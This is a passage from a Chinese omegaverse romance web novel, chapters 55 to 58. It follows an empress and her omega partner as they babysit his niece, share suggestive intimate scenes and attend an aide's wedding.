五分钟后,“安妮塔已经把她送来了,我先让她在沙发上看电视,给她做了柠檬可乐,她听了我的话,在乖乖看电视,不会乱碰东西。” 又过了五分钟,“我答应了今晚陪蒂娜去看电影,她很开心,如果你不喜欢的话,看完电影我就叫安妮塔来接她回家,好么?” 再五分钟,“我跟蒂娜说了,见到陛下一定要有礼貌,要问安,她一定不会冒犯你的。” 赫柏有点生气,也有点好笑,她讨厌孩子的这件事有这么明显吗?让以诺这么战战兢兢的,虽然确实是有点讨厌吧,但看他这样小心翼翼,她肯定不能说立刻把人赶走啊。 而且,以诺和他的家人更亲近,也正是她所期望的呢,这样把他留在世界上的就不只是对她的责任感,还有他的亲情羁绊,她巴不得他和家人再亲近一点。 想到这里赫柏把蒂娜从以诺手上扯过来,搂进怀里揉搓她细幼的发丝,“你说的是什么话,蒂娜要来玩我怎么不欢迎了,你是亲亲舅舅,我就是舅妈呀,我和你对她的爱是一样的,小蒂娜叫声舅妈来听听。” 陛下身上好香,第一次和她这么靠近,蒂娜不敢呼吸了,她还揉她的头捏她的耳垂……舅妈……听妈妈爸爸说过她和舅舅的事,她听不懂,却知道她是个很厉害的人,也在电视上看到她的新闻,“舅,舅妈……哎哟!”她的脸颊被突然捏了一把。 “咕咕”一声鸟叫,赫柏这才看见摆在沙发边矮柜上的鸟笼,她讨厌鸟屎和鸟的羽毛的味道,在别墅里四面通风还好,在公寓把落地阳台门关上,鸟的味道就很明显,所以以诺把鸟笼拿到阳台上挂着。 她都想把鸟给扔了,当初以诺做完手术那段时间每天不能出门,她怕他无聊,刚好手边有一只别人送来的金尾雀,她就随手送给以诺,结果他当个宝贝。 赫柏踢掉鞋子,踩在地毯上走过去提起鸟笼,质问蒂娜:“你把它拿进来的?” 蒂娜无措看向舅舅,以诺俯身把赫柏的鞋子放好,也过去从她手上接过鸟笼,“嗯,蒂娜说外面太冷了,让它进房子里待一会儿,我这就拿出去。” “不用了,”赫柏想起她的好舅妈人设,按住以诺的手背,抢过鸟笼,“外面太冷了,怎么能让小雀待在阳台上呢,就放在客厅里把,以诺,你应该提醒我呀,不然的话,我怎么能想到呢,让小雀挨冻了这么多天,该死该死。” 她把鸟笼放回矮桌上,安抚性地拍了拍笼顶。 小雀缩在角落里不敢动,蒂娜目睹变脸全程,嘴巴张成“o”型。 以诺笑笑,勾着她的手,“想喝什么饮料,果汁,还是气泡酒,我去给你做。” “想喝桃子果汁。” 赫柏背对蒂娜,不怀好意地笑,以诺脸红低头,上次赫柏在庄园里亲手摘了很多桃子,冰箱里堆满了,吃都吃不完,喝了很久的冰沙桃子果汁,把混着果肉的果汁洒在他身上一点点舔掉……所以他现在看见桃子都很不好意思。 “好,我去做。”以诺亲亲赫柏的鼻子。 宝宝喜欢看什么,两只熊的动画片,赫柏按下播放键,招呼蒂娜过来坐在沙发上,张开双臂熊抱她,不时贴贴她洗得香香的脑袋,觉得宝宝还是秋冬比较香,可以抱秋冬的宝宝,夏天的不行。 “这只熊是不是要死啦?” “不会啦,它是主角,主角是不会死的。” “可是它被坏人放进锅里煮了耶,很快就能闻到肉香了吧。” “才不会!马上就会被救出来了,还会把坏人狠狠教训一顿。” “那坏人会死吗?” “……也不会。” 看着无聊的动画片,幼稚的对话和配乐,榨汁机的声音在厨房里响着,赫柏眼皮耷拉,脑袋一点一点,很快彻底歪倒在蒂娜身上睡着。 以诺端桃子汁出来时,就看到赫柏把蒂娜当成抱枕睡着了,蒂娜被压得歪在沙发上皱着脸缩着手脚,完全不敢动。 好可爱的画面,以诺心里柔软的地方被触碰了一下,轻声放下果汁,比食指对蒂娜“嘘”了声。 他架着赫柏的肩膀,小心移开,让她在宽大的沙发上好好睡着,枕头垫在脑后,往她身上盖了毯子。 赫柏睡得很熟,眼皮上有浅的青色血管的痕迹,随着梦境微微弹动,高挺的鼻梁翕张,红润的嘴唇索吻似的嘟起来,应该是做了好梦。 她有躁郁症状,很难入睡,以诺一直很担心,但是最近她的状态越来越好,靠在他肩上,在很多意外的场合突然睡过去,他会叫别人放低声音,守着她,直到她睡醒为止。 在她睡醒还有点懵的那段时间亲吻她,就会让她忘记所有不好的梦,潜意识里对“睡觉”这件事产生好感,然后越来越不排斥入睡。 这样真的很好,他拨开她的额发,亲向光洁的额头。 “呀!” 以诺对双手遮眼睛却从指缝里看过来的蒂娜笑了笑,叫她“把动画片的声音调到最小,不要出声吵醒陛下”,继续去做她点名想吃的菜。 蒂娜看不下去动画片了,揉揉滚烫的脸,她没见过这么歪腻的大人,进门亲了好几十次了,只有电视剧才是这么演的,不对,舅舅和陛下比电视明星还要好看,他们站在一起,身后好像有很多粉红泡泡飘起来…… “唔……”陛下睡姿很不好,翻了几个身,蒂娜心惊肉跳的,都怕她摔到地上去,然后她越睡越往下……把穿着袜子的脚搭在她的腿上,她不动了。 救命啊!蒂娜一点也不敢动,还不敢出声喊舅舅来救命,就这样一直待到舅舅做好晚饭出来,挪开她的脚解放了她。 “赫柏,起来吃饭了。”赫柏感觉到有人把她抱起来,坐在她身后,不停捏捏她的手和脖子,亲她的眼皮和耳朵。 赫柏摇头躲开亲吻,往那人怀里躲,那人有点无奈,对着远处说了句什么话,然后捧起她的下巴。 舌头伸进她的嘴里,邀请她的唇舌共舞,口中的每一个角落都被照顾到,像什么呢,高酒精度威士忌,入口是柔和的果香,多喝才会泛开浓烈的辛辣灼烧感,他吮得她舌根隐隐发疼。 赫柏“唔唔”两声,睁眼看见以诺,轻捶了他两下,抱怨他打扰了她的美梦。 “吃饭了。”一吻结束,他贴着她的嘴唇说。 赫柏的脖子还被轻轻揉捏着,抓小猫似的手法,既痒又舒服,她“嗯”了声,搂着以诺的脖子在他肩上缓神。 以诺亲手做的饭菜,赫柏怎么也吃不腻,离开研究所后,以诺有了大片闲暇的时间,厨艺突飞猛进。 而且他专注于研究她爱吃的东西,竭尽所能,规避掉过敏原,做出最好吃的食物,只要和他一起吃饭,赫柏不知不觉就会吃下去很多。 说起来,最近好久没有胃痛了。 以诺没规训蒂娜的用餐礼仪,主动陪她聊两只熊的动画片,他仿佛真的很有兴趣,问她故事情节的发展,熊熊如何脱困,坏人受到的惩罚,蒂娜开开心心地告诉他自己从动画片里学到的道理。 真好啊,真和谐啊,不像她的聊天,让宝宝无语哽噎。 在陪蒂娜聊天之余,以诺还记得给她夹菜,敦促她喝汤,吃青菜,蒂娜一点也不挑食,全都吃下去,吃的脸颊鼓鼓的。 或者说以诺做的菜,根本就没有挑剔的空间。 赫柏低头戳弄盘子里的意面,真的很奇怪呢,心脏的位置暖暖的,她不知道怎么形容这种感觉。 盘子里多了一块西兰花,以诺对她露出像劝说蒂娜吃菜一样宠溺的微笑,就像她也是个需要照顾的宝宝。 第55章 第55章没救了 赫柏把脏碗放进洗碗机,腰上忽然搭上一只手,以诺在她耳边说:“赫柏,谢谢你。” “谢什么?” “你对蒂娜很好。” 这个“很好”多半指的是没有强硬地把蒂娜赶出去,不然她还做了什么别的么?以诺是在提 醒她有黑历史吧! 按下洗碗机启动键,感应水龙头下洗了手,赫柏回身叉腰理直气壮:“我不是都说了么,我是舅妈!我对她好是应该的,你还谢上了。” 以诺牵起她双手,用干净的毛巾擦干,每根手指擦干,点头承认“是,应该的,我谢错了。” 但是赫柏自己也有点奇怪,她对蒂娜没什么敌意,以前看到以诺和福利院孩子拍的合照,她就想把合照剪了,看见以诺抱陌生孩子,就想把孩子扔出去,扔的远远的。 她把原因归结为胖宝宝太乖了吧,还干净,她喜欢干净的宝宝。 “我和蒂娜去看电影。” 赫柏马上回神:“我也去。” “看熊哦。” “啊……熊还有电影啊?”赫柏有些瘪了,面对以诺的讪笑还是很争气地说:“那我也要去!” 没想到这么无聊的动画片还出了电影,叫什么熊熊特攻队,还挺火爆的,差点买不上票。 赫柏和以诺分别牵着蒂娜一只手,胖宝宝蹦蹦跳跳,唧唧咋咋,一整天维持超高能量运转。 在电影院遇上了文森中将和他的妻子,温斯特夫人,带着他们的孩子,是个和蒂娜差不多大的小男孩。 蒂娜和男孩对熊熊特工队的剧情进行热火朝天的猜测和讨论,赫柏挽着以诺,和文森中将夫妇打招呼。 他们就是前星际文明时代最典型的那种夫妻,男的高大壮硕,女的小鸟依人,体型差看着很有性张力,温斯特夫人柔柔捶了一下文森中将,说他好不容易休假,叫他好好休息也不听,要陪孩子看电影。 赫柏和文森握手:“恭喜文森中将,又升职了。” 她密切关注军队动向,知道文森现在是行政处一把手,在军队里的话语权仅次于最高指挥官。 文森谦让,说感谢从前以诺上将的赏识和提携,温斯特夫人在一边默默红了眼眶。 “夫人,您怎么了?”赫柏问。 文森冷声叫她不要失礼,温斯特“嗯”了声,“抱歉,陛下,上将,我失礼了”,扭身到一边擦眼泪。 “陛下,她没什么大事,omega总是比较多愁善感的,”思及以诺也是omega,文森收住话头,咧开笑道:“恭喜陛下和上将,总算得偿所愿在一起了,经历了这么多,真是不容易啊,我们几个从前的下属都为上将感到高兴。” 说了几句,他终于还是说声抱歉,去哄了温斯特。 “他们怎么了?”进入放映厅的黑暗通道里,赫柏揪住小牛一样到处冲撞的蒂娜,低声询问以诺。 “文森,也在和加里南的战争中受了伤,不算严重,但是过不了严格的战机飞行员检测,所以他办理了伤退,转到行政部,”以诺用只有她一个人能听见的声音说,“没有一位将士能够接受被动退役,所以,文森应该一直感到遗憾吧。” 被动退役,离开战场,是一件很令人遗憾的事情么,这样看来,文森还能转到行政部,以诺却是彻底离开了军队,每天让他疼痛的双腿,连操纵模拟战机体验战场都做不到呢,他的心里也会遗憾吧。 电影开始前,赫柏勾着以诺的手若有所思,坐在中间的蒂娜看见她的新伙伴——和文森夫妇一起走进来的小男孩,兴奋地招呼他过来,要坐在一起,他们的票不挨着,两个小鬼就和隔壁的人商议能不能换个座位。 结果就是文森家三个人的座位换到了他们旁边,蒂娜低声询问赫柏能不能和她换个位置,想和小伙伴坐在一起。 那太好了啊,不用以诺一整场电影都把手伸过来让她勾着了,赫柏愉快地换完位置,坐下来圈住以诺的手臂,脑袋靠在他肩上。 如果不是晚饭前睡过一场,她就要睡着了,太无聊了,她非常经常地喝可乐,嚼爆米花,不时挠挠以诺的手心,张开牙齿咬一口他的手臂,再用脸颊蹭蹭细丝面料上不存在的牙印。 她人生里面宝贵的两个半小时,可以处理很多影响全国民众生活的大事,如果让艾琳他们知道她来看熊熊特工队,一定会在内阁会议室笑一下午。 因为无聊看向屏幕,在熊熊出丑的时候会因为太无语而笑一下。 “赫柏。” 一直坐的很端正的以诺,气声落在她头顶上,赫柏不解抬头,下巴被握住,灼热的舌头长驱直入扫荡她的口腔。 她没有防备,下意识“唔唔”两声,被以诺全部吞下去,一丁点声音也没往外漏,很快她面色涨红呼吸不畅,他才放开她。 有一下没一下轻啄她的嘴角,嘴型是说“很甜”。 赫柏还是懵的,在想以诺没吃过可乐和爆米花,所以觉得这味道很甜。 “你……唔!”她的双眼轮转水光,刚聚起架势想要质问,又被亲了。 以诺抓住她沾着爆米花碎屑的手,十指紧扣,略微用力地咬噬她的唇瓣,微微痛感更多的是刺激和酸爽,他其实真的很会,很聪明的人,只要用心学什么都会很好,在数次欢爱后迅速掌握了她最喜欢的技巧。 赫柏真的要晕了,以诺牵着晕晕乎乎的她离开座位。 从昏暗的通道离开,抱在一起边走边亲,赫柏挤出唯一的一线理智说:“蒂娜,蒂娜还在里面呢!” “没关系,文森会带她出去的。” 以诺把她抵在消防门旁边,捧着她的脸,那么暗的灯光还是能看见他双眼满是难耐的欲。色。 “去哪呀?”赫柏撇脸向外看灯火通明的走道,她可不要在这里的厕所做什么坏事。 以诺抵住她的额头思考片刻,拥着她往外走,“去飞船。” 他的手劲是有点大的,赫柏也没有反抗的意思就是了……踩着胡乱的脚步,心脏快要从胸腔里蹦出来,她才发现,原来她最喜欢的,是以诺循规蹈矩的外表下,有点叛逆的灵魂,因为教养而时时刻刻隐藏起来,一旦发作就强烈到无法忽视。 就像他当年不顾全世界的反对选择参军,从那个时候起,她或许就希望有朝一日,他坚定地牵她的手,逆着熙熙攘攘的人群离去,就像现在。 “以诺,真的要就这么走掉吗?我怕蒂娜害怕,还是跟文森说一声吧。”新一场电影的人正在检票,赫柏压低匆匆戴上的墨镜。 以诺说快点就行,电影结束前回来。 赫柏倒是可快可慢,只怕他不行,她欲言又止,终归还是保存了以诺先生的脸面,没跟他嚷嚷这个真相。 半个小时后。 “你,你今天怎么了?” 飞船的舱壁是光滑的金属质感,omega的身体则是暖玉,赫柏对眼前这个声称没什么力气躺在后座自己掰开双腿的人感到一丝无语,喘着气问。 明明这段时间,做这种事的频率已经很稳定了啊,正常来说,信息素上瘾是不会在这个时间发作的,至少不会让他失控,可他现在失控得很严重,整个飞船都要送去清洗了,待会儿还得跟蒂娜解释,为什么不坐来时的飞船回去。 “是因为信息素……”以诺绯红着脸,没有底气的声音,他自己都觉得羞恼,说完后把她的脑袋拉下来按在肩旁。 “是吗?”赫柏坏笑一声,释放更多信息素,冷霜松柏的气息让周围瞬间冷下来,以诺整个人触电似的不停发抖,抱紧她嘴硬:“当然,是的。” 在这个时候,以诺已经不想也没力气去思考原因和结果,只知道他很想要,很想要。 全副身心都牵挂在赫柏身上,留意她像小老鼠一样偷吃蒂娜的爆米花,低头喝可乐,挂着头发的耳朵微微耸动,非常可爱。 可爱。可爱。她一直都是美丽而可爱的,而他只是被信息素蛊惑,不得已做出这些让自己羞耻万分的举动。 因为信息素才会总是想到她,柔美的身体,因为是alpha的缘故四肢和腹部有薄薄的肌肉,撑在他的脸颊旁边,汗涔涔的绷紧的线条…… 有时候坏笑,有时候晕红害羞的脸,无论什么时候都明晃晃像烛光一样照着他的两方瞳仁,无论是二十四小时暗中跟拍的媒体还是亲近的下属,谁都没见 过的她的样子。 然后在电影院里,都能感觉到两条裤腿间的面料渐渐黏在一起,脖颈后的抑制贴也发痒得厉害,如果不尽快离开,就会在电影院出丑。 没救了,信息素让他彻底没救了,他越想越羞耻地挡住眼睛,遮住一片不知为何漫出来的眼泪。 第56章 第56章很糟糕 电影结束五分钟赫柏才赶回去,两个孩子还在玩耍,文森夫妇安静地坐着说话,没有不耐烦地在等他们,赫柏捋捋头发说以诺有点不舒服,临时去了医院,不然真的没办法解释他的一身痕迹和气味…… “原来是这样,请上将一定要好好休息。”文森毫不怀疑这话的真实性。 “拜拜,我们下次再一起玩。”蒂娜和小伙伴把电话手表的好友加上了,挥手告别。 赫柏先把蒂娜送回家,叫来专职护工一起帮她洗完澡,哄睡了,再来接无比娇气的美人。 时间已经很晚了,只有这么一架飞船停在空旷的停车场上,赫柏打开舱门,被浓重的气味冲了一下鼻子。 整个船舱惨不忍睹,不知怎么沾上水渍的天花板,两个人不停呵气模糊掉的窗户,湿哒哒又冷又黏的座椅……以诺蜷长手长脚缩在还算完好的角落,失神落魄地垂眼。 在飞船上做到最后,以诺呜呜咽咽哭了一场,然后一直处在羞耻心大爆发的状态,避开和她的眼神接触,脸颊上的浅红久久不散。 她穿上自己早有先见之明,放在前座的衣物,找出早有先见之明备在储物箱里的气味清除剂,准备下飞船后喷一喷,边对以诺说了先送蒂娜回家再来接她的打算,他就只是“嗯”了声,不再说话。 她离开前亲了他一下,他的眉心才舒展一点。 所以一回到飞船,赫柏立即弯身进入后座,钻进以诺怀里展开四肢抱他,不管自己的衣服也被弄脏,抱着他顺毛,直到他的身体暖起来。 他语气低落地说:“我们走吧,我怕蒂娜自己在家害怕。” 打开房门,刚才跟赫柏保证过自己在家里一定不会害怕的小蒂娜已经在沙发上睡着了,听到声音坐起来,揉着眼睛来到门旁,“舅舅,舅妈,你们回来啦。” 只开了昏黄的玄关等身上也用掉了半瓶喷雾,但赫柏还是心虚,从身后抱着大型棉花娃娃以诺,下巴卡在他肩上对蒂娜说:“是啊,蒂娜快去睡觉,你舅舅需要马上回房间休息,不要出声打扰到他哦。” “好。”蒂娜乖乖应下,悄悄看向舅舅的脸,他看起来真的很不舒服,走路都不自然,就像一个人偶,陛下是撑着他的支架,陛下不用他俯身,用脚蹭掉他的两只鞋子,和她自己的一起踢进玄关里,膝盖抵着他的脚弯一起移动方向。 舅舅对她笑笑,很虚弱的笑,抬手揉了把她的脸,“去睡吧,明天给你做好吃的。” 小房间的夜灯关掉,赫柏给蒂娜读完绘本,彻底哄睡下,离开房间时腿是软的。 浴室里还有一个宝宝。 以诺泡了半个小时的泡泡浴,依照平时的习惯已经可以出来了,赫柏想去帮他一把,结果他抓着辅助握具,两条细伶伶的长腿颤抖着自己站起来,迅速抓起架子上的浴袍遮住莹白身体。 十分迅速地把系带卷成绳结,防备着什么似的。 赫柏伸到空中的手放下,以诺已经把自己关进复建的房间里。 虽然被冷落有点难过,但以诺今晚的异常,让赫柏摩拳擦掌,想要一探究竟,血液都沸腾起来。 墙壁的微微晃动,是一场巨大地震的前兆。 而她已经拥有足够的底气,耐心等待,结果揭露的那一刻。 以诺独自做了半小时康复训练,一个小时后才出来,很长的睫毛垂下,遮不住粉红粉红的眼角,只知道他不舒服,不知道是残存的羞还是未驱散的痛。 瞥了站在门口玩打火机的赫柏一眼,稍微侧过肩膀,想绕过她离开,似乎想到她的一贯作风,免不了又要被骚扰一阵,握紧手掌呼吸都凝重了几分。 赫柏一挑眉,收回挡路的长腿,摆好手脚贴墙站着。 以诺已经走过去了,回头看她,眨眨眼睛,又走了,这次他去落地窗边看书。 每次复建完都要看一会儿书,赫柏踮着脚放轻脚步跟过去,变成一只猫,不说话,以诺去哪里她就跟到哪里,默默分享他身边的空气,时不时用尾巴,不,用手和脚骚扰一下人类。 骚扰完又开始做自己的事情,歪在沙发另一侧处理工作,全不在意人类的反应。 她正跟艾琳说起最近的一项和重要的工作,工作狂艾琳小姐快要结婚了,赫柏是知道的,但她突然蹦出来一句“陛下,请您稍等,让我下车拍完婚纱照回来再和您说,十分钟就好”,让她忍不住直想笑。 “周六的晚上十点,艾琳小姐,你竟然在一边处理工作一边拍婚纱照?” 艾琳秒回,“【哭脸】【哭脸】只有这个时间了,我老公还在边上哭呢,我先哄哄去……十分钟后我一定回来,陛下,【挥手】【挥手】。” 赫柏见过艾琳的未婚夫,在办公室外接她下班,是她的老同学,一位很普通的男性beta,有种番茄鸡蛋味方便面的气质,艾琳则是专业到堪称冷漠的职场女性,不知道那个男人哭起来要她去哄到底是什么场面。 赫柏想象一下,竟然笑出声。 耳边有抽气的声音,她以为自己幻听了,就用这个挤出双下巴的姿势抬眼看过去,以诺用叠好的纸巾抿抿眼睛下缘,收好纸巾,如常翻过一页书。 赫柏四肢并用爬到他身边,用脸颊蹭蹭他的手臂,“怎么哭了?”逐渐整个人靠在他身上,团巴团巴身下的沙发,身体完全松懈。 “这书太感动了。”淡淡的回答,又翻过一页书。 赫柏一爪子挠过去,抓起他手里的那本《熊熊特攻队》周边漫画,刚才看完电影,文森夫妇给两个孩子买的。 以诺不解释了,就那么坐着发呆,赫柏推开那本书爬到他身上,钳住双腿,双手搂住他的脖子。 “为什么哭呢?” 赫柏亲吻他微烫的眼角,大胆说出自己的猜测:“是因为我吗?是因为你很想要我抱你,亲你,哄你,但你羞于说出口,而我还在一边看自己的东西,完全忽视你的感受,是这样吗?” “不是这样。”以诺的身体细微地抖。 “真的不是?” 赫柏按住他脖子后的腺体,沁出满手水渍,以及漫天漫地的omega信息素,赫柏放出alpha信息素,和他的纠缠,梳理,融汇成和谐的状态,再一起被他们吸入鼻腔,她凑过去亲上他的唇。 “你的身体不是这么说的,虽然今天的量已经完全超标,但还是很缺乏抚慰呢,你就是想要我的安抚,以诺,你什么时候可以成熟一点?” 赫柏冷静教训的口吻,让以诺羞耻到了极点,眼角再次溢出眼泪,拖鞋里的脚趾也蜷缩起来。 明明一直是他在包容赫柏,理解她的全部顽劣和不堪,是他在为她牺牲,现在这样,算是怎么回事? 换成小魔头体察他的情绪,给予他开解和抚慰,他却,很舒服,舒服得要命。 刚洗完澡换上清清爽爽的浴袍,很快就会变出一片粘腻,如果不想污染沙发,他需要马上起身。 可是,被她抱着亲,完全不想离开。 “以诺!” 赫柏咬他的鼻子,好不容易有这样的机会,她不会放弃的,就算以诺哭个不停,跪下来求她,求她放过他的蚌壳,别再剖析他的内心,她也绝对不会放弃。 哭模糊了整张脸,如果是她,会是毫无形象吱哇大哭,鼻涕滑进 嘴里,而以诺哭得这么厉害还能带着几分矜持和克制,眼瞳前面那层漂亮的泪膜更晶莹剔透,眼泪一连串地滑下鼻子嘴唇的泛红的脸庞,称得上一句我见犹怜。 赫柏只好放弃强硬的质问,软软靠在他肩上,双手在他背上胡乱滑动,“没事的,想哭就哭一场,想笑就大声笑,在我面前,你想做什么都可以,因为我会始终爱你,无论你是美是丑,是坚强还是柔弱,无论你变成什么样子我都会爱你。” 她把爱挂在嘴边。 总是能脱口而出的话,显得一点也不真心。 不真心也是可以的,因为她是赫柏,她做什么都可以,而以诺发现了自己的贪婪,不满足,从这份浅显的爱里妄图得到更多。 从一根线,编织成一张网,再变成一团虫茧,围拢着他,永远不要离开。 那不对,他的身体已经如此糟糕,让他万分唾弃,如果连心也守不住,他就完全不是自己了。 “对不起,赫柏,”以诺咬牙维持体面,指甲嵌入手心,“对不起,我不应该哭的,让你担心了。” “不是这样!我不要你对我说这种虚话,我要你说你不舒服,你的顾虑,我要你跟我吵架骂我是个暴君,说你讨厌我的强迫,说你,虽然讨厌但无法自抑地爱我。”赫柏抱着以诺,恳请他交付真心。 “我觉得自己很糟糕。”以诺崩溃地掩面哭泣。 “为什么?” “因为我发现我对你有要求了,我觉得那很可怕,我不知道自己会变成什么样子。” 赫柏胡乱地笑。 像一个长途跋涉的旅人在快要渴死时终于见到沙漠绿洲,好累好累,能做的反应只有胡乱的笑,“正好,我也不知道自己会变成什么样子,爱一个人就是会面目全非,接近碰撞伤害和受伤,一度迷失方向不知道自己在做什么,到最后,我唯一知道的只是我爱你。” 她劝慰他,也在劝慰自己,“以诺,我们是一样的。” 第57章 第57章幸福泡沫 艾琳小姐的婚礼在这年冬天第一个飘雪的日子举行,赫柏和以诺一起出席。 是童趣风主题婚礼,赫柏把设计师送来的几套服装通过视频通话让蒂娜看了一遍,选的是蒂娜说最好看的那套,彩虹色的半长纱裙,搭白色毛茸茸外套。 她作为大老板发表致辞,没准备长篇大论的东西,祝福一对新人百年好合,过后俏皮地吐舌,“艾琳女士,你是我手底下最重要的大将,虽然结婚之后,你肯定要把很多注意力分给家庭,但是,你也不能忘记我哦!” 赫柏挥手叫人把贺礼送上来,盒子打开是一本市中心公寓的房产证。 满座皆“哇”,感叹陛下真是财大气粗,对下属真好。 艾琳的老公脸红躲在他身后,被赫柏拉出来,交付重担地拍拍他肩膀:“自从你们相亲认识,艾琳小姐再也不随便发脾气了呢,你帮了我们一个大忙,以后要再接再厉哦。” 男人虽然是个beta,看着比omega还要软糯,和同为beta但是性格强硬堪比alpha的艾琳站在一起,就是天生一对。 “陛下,他胆子小,您快把他吓哭了!”艾琳上前阻拦的动作变成深深拥抱,眼中盈满泪水,用只有她们听到的声音说:“赫柏,这么多年,谢谢。” 谢谢她给了她很多机会,性格底色非常强硬的人,愿意停下来给予双方磨合的时间和空间,赫柏的身边有很多和她有同样能力的人可供选择,而她,只能抓住陛下这个机会。 所以说谢谢。 赫柏抱紧艾琳,“不用谢,你应得的。” 毛茸茸的外套手感很好,艾琳很像在抱一只小动物,从敏捷狡黠的豹子,变成亲昵可爱的小猫,等到两人分开她整理仪容,面对赫柏再次变成仰慕尊敬的神情,送她走下阶梯。 “以诺先生在那边等着呢,陛下快过去吧。” 赫柏和以诺的事,她身边的人早就不反对了,反对也没用,他们陛下其实是个很犟的人,表面上不再执着,放下和以诺先生结婚的事情,其实呢,资助斯宾塞家族、重提当年之事废除以诺的亲王头衔、给以诺提供了无数重新获得名誉的机会……她做了所能做到的一切,只为了和以诺先生光明正大地走在一起。 如果是以前,艾琳还会苦心劝一句,不值得,但是自从他们没有阻碍地在一起后,陛下整个人都明朗了,每天都在笑,没有情绪的时候就是在笑,艾琳真的为她开心。 和真心喜欢的人在一起,付出也是一种开心啊,艾琳望向角落里温柔注视自己的丈夫。 “好哦,我这就过去。”陛下离开她的搀扶,走路有点踉跄,她被叫上台前在以诺身边喝了好几支气泡酒,其实有点醉了,刚才发言的状态也能体现,但她的酒品很好,不会发酒疯。 艾琳微笑着看穿着七彩糖纸纱裙的陛下,在离开途中又从侍应生盘子里拿了一杯鸡尾酒。 “你看,艾琳的老公是不是弱弱的,和她挺般配的。”喝了一半的鸡尾酒放下,赫柏揽住以诺的肩膀往他脸上乱亲。 以诺没有躲避,把脸迎上去让她亲,唇膏洇开在粉红的脸颊上,泛起瑰丽的胭脂色。 他按住赫柏抓向酒杯的手,反手握住,细细摩梭掌心软肉,“别喝了,缓缓。” “很开心嘛。” 赫柏眨着眼睛,靠在以诺怀里,泡面头卷发蹭得他脖子发痒。 他展臂搂住快要软倒的赫柏,让她挂在身上,安静听她说起和艾琳相识的往事。 大概就是赫柏公主殿下一路跳级,十五岁上了最高学府,大部分皇室成员、政府高官和贵族子弟的培养地,首都大学。 在那里遇到正在读研的艾琳,两人在辩论队因为一个议题争吵得不可开交,艾琳的脖子脸红脖子粗,但是辩论赛结束后,怂怂地过来向她请求原谅。 “她知道我是公主殿下,但是在辩论场上,还是寸土不让步步紧逼,辩论赛一结束,她就哭了,说她家里有年迈的奶奶,她是领着补助金的穷学生,请求我不要对付她。” 后来两人经常一起打辩论,堪称最佳拍档,赫柏登基后,邀请艾琳进入内阁。 “她一直都是凶巴巴的,有时候我想松懈偷懒,她就会被气哭,在我耳边一直说,你一定做皇帝,你必须做皇帝,你这一生全部的使命就是做一个好皇帝,”赫柏在以诺凝眸时伺机抓起酒杯,迅速喝尽最后一点残酒,脸色酡红吐气如兰,“我好几次烦的想杀了她,废掉她的职位,让她永远不要出现在我面前,但是她把我念醒了,我又觉得我还能再工作一会儿,工作的时候,必须要有她在身边才行,就把废掉她的念头给忘了。” 以诺手里多了一只空酒杯,眼前是女孩趴在桌上,斜着眼睛看他的挑衅的微笑,他也低下去,和她手肘相抵趴在一起,看着对方同样水润的半合的眼睛。 想亲,从对方眼里确认这个信息,然后慢慢靠近,呼吸缠绕—— “哦,亲爱的陛下!”一道声音把他们惊醒。 举着酒杯来到他们面前的是维托克,脸上含着揶揄的笑,和他牵手的女人是,帝国最年轻的女性beta大法官梅根,为以诺打了平反官司而声名鹊起。 赫柏还在意乱情迷,握着以诺的衣领一定要完成这个吻,以诺比较理智地抱紧她站好,向维托克和梅根问好。 “当初我受伤,被诬陷通敌,全靠你帮忙打官司,谢 谢你,梅根,抱歉一直没有机会亲自道谢。” 梅根笑着睨了眼明显醉酒、在以诺怀里不安分扭动身体的皇帝陛下,开开心心地解释,“您还不知道吧,两年前您的官司的所有材料,都是陛下给我的,我非常感谢陛下选择了我,给我这个机会,去打您的官司。” “还有啊,从您受伤开始,陛下就一直催我回国给您做手术,为此我不得不暂时搁置了我的博士论文,”维托克压低声音,略偏过头似乎这样赫柏就听不见,“一直担心,赫柏担心成那个样子,一旦您的情况不好,我的小命也会不保,每次为您做诊断都出一身冷汗呢,万幸结果是好的。” 赫柏听到自己的名字,离开以诺的怀抱,“维托克,你又对以诺说我的坏话了?” “从未说过,我要感谢陛下,如果不是您急召我回国帮以诺先生做手术,我没办法遇到我的此生挚爱,是吧梅根?”维托克低头亲吻梅根的手背,梅根有点害羞地点头承认,“多谢陛下。” 可能是难得的醉酒让脑子突然短路,赫柏把这秀恩爱的举动理解为挑衅,有什么好秀的,她也有人亲啊,回身勾住以诺的脖子直接亲向他的唇。 “噢噢噢~”周围一片惊讶。 以诺虽然脸色涨红却没躲避,捧着赫柏的脸,开启双唇让她长驱直入,只是脸颊越来越烫,呼吸也越来越烫,在众人的围观里整个人都要冒烟了。 这真的是从前的以诺亲王吗?梅根和维托克对视一眼。 这个配合着陛下的疯劲儿,当众热吻,浑身上下洋溢着对陛下充沛爱意的人,真的是当年“最温顺的外表下潜藏着最难驯服的野性”、第一个操纵战机翱翔天际的omega,是后来斯文矜持,端坐在被告席上,冷静接受众人指控的以诺亲王吗? 维托克则多少明白内情,陛下为了让以诺先生屈服,使用过多少阴暗的手段,后来学会爱的狩猎者,又是怎样跌跌撞撞来到他门前,请他配制释放猎物的解药……但是无论从与赫柏的私交还是职业素养,或是为了自己的前程考虑,他都不会把陛下做的事情告诉任何人,包括,此生挚爱梅根。 “谁知道呢,让我们恭喜陛下心愿达成,和以诺先生一对璧人,长长久久吧。”维托克握紧梅根的手,笑着说。 吻了很久赫柏才放开,不停地笑也不停亲吻,把开心写在脸上,话很多很密,时而散漫地笑,闭着眼笑。 以诺掌着她的脊骨,让她无论再怎么摇摆恣意,也始终有个支点,等情绪回落,很方便地凑近亲他的脸。 在角落的高脚桌边,交换了无数个气泡酒味道的吻。 原来和她毫无顾忌地亲近,是这么快乐,迎着周围人传送过来的欣羡和赞美的目光,每一分钟都沐浴在幸福的泡沫里。 她理解他的纠结,开解他的羞耻,教他诚实面对自己的心,告诉他这样就很好,不用去想什么未来和以后。 很幸福啊,心却浸泡在酸涩的海水里,喉咙里翻滚血的腥气,赫柏现在真的很好,事业、友情、爱情,都趋近圆满,他还能再为她做什么呢。 看着现在美丽可爱的赫柏,仿佛能看到那个孤独的孩子离开他的怀抱,跑向远方,追逐太阳和光明所在的方向……不会再待在角落里,渴求他的拥抱和慰藉,她会成为新世纪的英雄,把昔日旧神一刀劈开。 早晚有一天……以诺咽下一口血沫,把自己的意识全部抛弃,更深切地亲吻赫柏充斥酒香的唇舌。 第58章 第58章失宠 以诺先生喝醉了,一直言行克制的人,举起酒杯只会抿一点点,润润嘴唇,这次却在艾琳小姐的婚礼上喝了很多。 